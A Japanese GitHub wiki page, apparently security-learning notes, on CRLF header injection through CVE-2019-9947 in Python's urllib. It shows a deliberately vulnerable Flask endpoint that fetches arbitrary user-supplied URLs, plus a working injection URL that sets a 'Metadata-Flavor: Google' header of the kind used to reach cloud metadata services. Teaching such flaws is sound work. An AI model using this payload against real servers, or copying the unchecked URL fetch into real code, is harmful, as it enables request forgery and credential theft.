HTTPヘッダインジェクション 02 - yujitounai/helloworld GitHub Wiki

HTTPヘッダインジェクション/HTTP response header injection

最初にHTTP/1.1を挿入する必要があるCRLFインジェクション(CVE-2019-9947)

脆弱なソースコード (python3.7.2以下)

import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/query")
def query():
    site = request.args.get('site')
    text = urllib.request.urlopen(site).read()
    return text


@app.route("/")
def hello_world():
    return "/query?site=[your website]"


if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=80)

攻撃方法

http://127.0.0.1:6000/query?site=http://localhost:1234/?q=HTTP/1.1%0d%0dMetadata-Flavor:%20Google%0D%0Afuga%0D%0A

Metadata-Flavor: Googleヘッダが設定される